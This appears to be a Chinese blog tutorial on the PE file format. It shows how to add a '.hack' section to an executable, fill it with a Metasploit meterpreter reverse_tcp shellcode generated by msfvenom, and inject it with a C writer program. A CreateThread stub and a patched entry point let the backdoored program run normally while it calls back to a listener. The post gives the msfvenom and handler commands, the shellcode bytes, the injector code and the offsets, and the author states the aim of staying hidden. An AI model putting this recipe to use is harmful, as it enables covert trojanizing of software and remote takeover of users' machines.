天天看點

PE格式: 建立節并插入代碼

PE格式是 Windows下最常用的可執行檔案格式,了解PE檔案格式不僅可以了解作業系統的加載流程,還可以更好的了解作業系統對程序和記憶體相關的管理知識,而有些技術必須建立在了解PE檔案格式的基礎上,如檔案加密與解密,病毒分析,外挂技術等。

經過了前一章的學習相信你已經能夠獨立完成FOA與VA之間的互轉了,接下來我們将實作在程式中插入新節區,并向新節區内插入一段能夠反向連接配接的ShellCode代碼,并保證插入後門的程式依舊能夠正常運作不被幹擾,為了能夠更好的複習PE相關知識,此處的偏移全部手動計算不借助任何工具,請確定你已經掌握了FOA與VA之間的轉換關系然後再繼續學習。

首先我們的目标是建立一個新節區,我們需要根據.text節的内容進行仿寫,先來看區段的書寫規則:

PE格式: 建立節并插入代碼

上圖中:一般情況下區段的總長度不可大于40個位元組,其中2E标志着PE區段的開始位置,後面緊随其後的7個位元組的區域為區段的名稱,由于隻有7個位元組的存儲空間故最多隻能使用6個字元來命名,而第一處藍色部分則為該節在記憶體中展開的虛拟大小,第二處藍色部分為在檔案中的實際大小,第一處綠色部分為該節在記憶體中的虛拟偏移,第二處綠色部分為檔案偏移,而最後的黃色部分就是該節的節區屬性。

既然知道了節區中每個成員之間的關系,那麼我們就可以開始仿寫了,仿寫需要在程式中最後一個節的後面繼續寫,而該程式中的最後一個節是.reloc節,在reloc節的後面會有一大片空白區域,如下圖:

PE格式: 建立節并插入代碼

如下圖:我們仿寫一個​

​.hack​

​​節區,該節區虛拟大小為1000位元組(藍色一),對應的實際大小也是1000位元組(藍色二),節區屬性為​

​200000E0​

​可讀可寫可執行,綠色部分是需要我們計算才能得到的,繼續向下看。

PE格式: 建立節并插入代碼

接着我們通過公式計算一下.hack的虛拟偏移與實際偏移應該設定為多少,公式如下:

.hack 虛拟偏移:虛拟偏移(.reloc) + 虛拟大小(.hack) => 00006000 + 00001000 = 00007000

.hack 實際偏移:實際偏移(.reloc) + 實際大小(.reloc) => 00003800 + 00000200 = 00003A00

經過公式推導我們可得知 ​

​.hack​

​​節,虛拟偏移應設定為​

​00007000​

​​ 實際偏移設定為​

​00003A00​

​節區長度為1000位元組,将其填充到綠色位置即可,如下圖:

PE格式: 建立節并插入代碼

最後在檔案末尾,插入1000個0位元組填充,以作為我們填充ShellCode的具體位置,1000個0位元組的話WinHEX需要填充4096

PE格式: 建立節并插入代碼

到此其實還沒結束,我們還落下了一個關鍵的地方,那就是在PE檔案的開頭,有一個控制節區數目的變量,此處因為我們增加了一個是以需要将其從​

​5​

​​個改為​

​6​

​​個,由于我們新增了​

​0x1000​

​​的節區空間,那麼相應的鏡像大小也要加​

​0x1000​

​​ 如圖黃色部分原始大小為​

​00007000​

​​此處改為​

​00008000​

​即可。

PE格式: 建立節并插入代碼

打開X64DBG載入修改好的程式,會發現我們的.hack節成功被系統識别了,到此節的插入已經實作了。

PE格式: 建立節并插入代碼

接下來的工作就是向我們插入的節中植入一段可以實作反彈Shell會話的代碼片段,你可以自己編寫也可使用工具,此處為了簡單起見我就使用黑客利器​

​Metasploit​

​生成反向ShellCode代碼,執行指令:

[root@localhost ~]# msfvenom -a x86 --platform Windows \
-p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c      

關于指令介紹:-a指定平台架構,--platform指定攻擊系統,-p指定一個反向連接配接shell會話,-b的話是去除壞位元組,并指定攻擊主機的IP與端口資訊,執行指令後會生成一段有效攻擊載荷。

為了保證生成的ShellCode可用性,你可以通過将生成的ShellCode加入到測試程式中測試調用效果,此處我就不測試了,直接貼出測試代碼吧,你隻需要将buf[]數組填充為上方的Shell代碼即可。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();
int main()
{
  //((void(*)(void))&buf)();
  PVOID pFunction = NULL;
  pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  memcpy(pFunction, buf, sizeof(buf));
  CODE StartShell = (CODE)pFunction;
  StartShell();
}      

此時我們需要将上方生成的ShellCode注入到我們新加入的區段中,區段實際偏移是​

​0x3A00​

​,此處的二進制代碼較多不可能手動一個個填寫,機智的我寫了一個小程式,即可完成自動填充,附上代碼吧。

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"\xdb\xda\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x56\xba\xd5\xe5\x72"
"\xb7\x31\x55\x18\x83\xed\xfc\x03\x55\xc1\x07\x87\x4b\x01\x45"
"\x68\xb4\xd1\x2a\xe0\x51\xe0\x6a\x96\x12\x52\x5b\xdc\x77\x5e"
"\x10\xb0\x63\xd5\x54\x1d\x83\x5e\xd2\x7b\xaa\x5f\x4f\xbf\xad"
"\xe3\x92\xec\x0d\xda\x5c\xe1\x4c\x1b\x80\x08\x1c\xf4\xce\xbf"
"\x7c\x95\xa3\xb2\x7e\x89\xb4\x96";

int main()
{
  HANDLE hFile = NULL;
  DWORD dwNum = 0;
  LONG FileOffset;
  FileOffset = 0x3A00;             // 檔案中的偏移

  hFile = CreateFile(L"C:\\setup.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
    NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
  WriteFile(hFile, buf, sizeof(buf), &dwNum, NULL);
  CloseHandle(hFile);
  return 0;
}      

通過VS編譯器編譯代碼并運作,視窗一閃而過就已經完成填充了,直接打開WinHEX工具定位到​

​0x3A00​

​發現已經全部填充好了,可見機器的效率遠高于人!

PE格式: 建立節并插入代碼

填充完代碼以後,接着就是執行這段代碼了,我們的最終目标是程式正常運作并且成功反彈Shell會話,但問題是這段代碼是互動式的如果直接植入到程式中那麼程式将會假死,也就暴漏了我們的行蹤,這裡我們就隻能另辟蹊徑了,經過我的思考我決定讓這段代碼成為程序中的一個子線程,這樣就不會互相幹擾了。

于是乎我打開了微軟的網站,查詢了一下相關API函數,最終找到了一個​

​CreateThread()​

​函數可以在程序中建立線程,此處貼出微軟對該函數的定義以及對函數參數的解釋。

HANDLE WINAPI  CreateThread(
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ __drv_aliasesMem LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );

lpThreadAttributes => 線程核心對象的安全屬性,預設為NULL
dwStackSize => 線程棧空間大小,傳入0表示使用預設大小1MB
lpStartAddress => 新線程所執行的線程函數位址,指向ShellCode首位址
lpParameter => 此處是傳遞給線程函數的參數,我們這裡直接填NULL
dwCreationFlags => 為0表示線程建立之後立即就可以進行排程
lpThreadId => 傳回線程的ID号,傳入NULL表示不需要傳回該線程ID号      

由于我們需要寫入機器碼,是以必須将CreateThread函數的調用方式轉換成彙編格式,我們打開X64DBG找到我們的區段位置,可以看到填充好的ShellCode代碼,其開頭位置為​

​00407000​

​,如下所示:

PE格式: 建立節并插入代碼

接着向下找,找到一處空曠的區域,然後填入​

​CreateThread()​

​建立線程函數的彙編格式,填寫時需要注意調用約定和ShellCode的起始位址。

PE格式: 建立節并插入代碼

接着我們需要使用一條Jmp指令讓其跳轉到原始位置執行原始代碼,這裡的原始OEP位置是​

​0040158B​

​我們直接JMP跳轉過去就好,修改完成後直接儲存檔案。

PE格式: 建立節并插入代碼

最後一步修改程式預設執行位置,我們将原始位置的​

​0040158B​

​​改為​

​00407178​

​​這裡通過WinHEX修改的話直接改成​

​7178​

​就好,如下截圖:

PE格式: 建立節并插入代碼

最後通過MSF控制台建立一個偵聽端口,執行如下指令即可,此處的IP位址與生成的ShellCode位址應該相同。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit      

然後運作我們植入後門的程式,會發現成功上線了,而且程式也沒有出現異常情況。

​​

版權聲明:本部落格文章與代碼均為學習時整理的筆記,文章 [均為原創] 作品,轉載請 [添加出處] ,您添加出處是我創作的動力!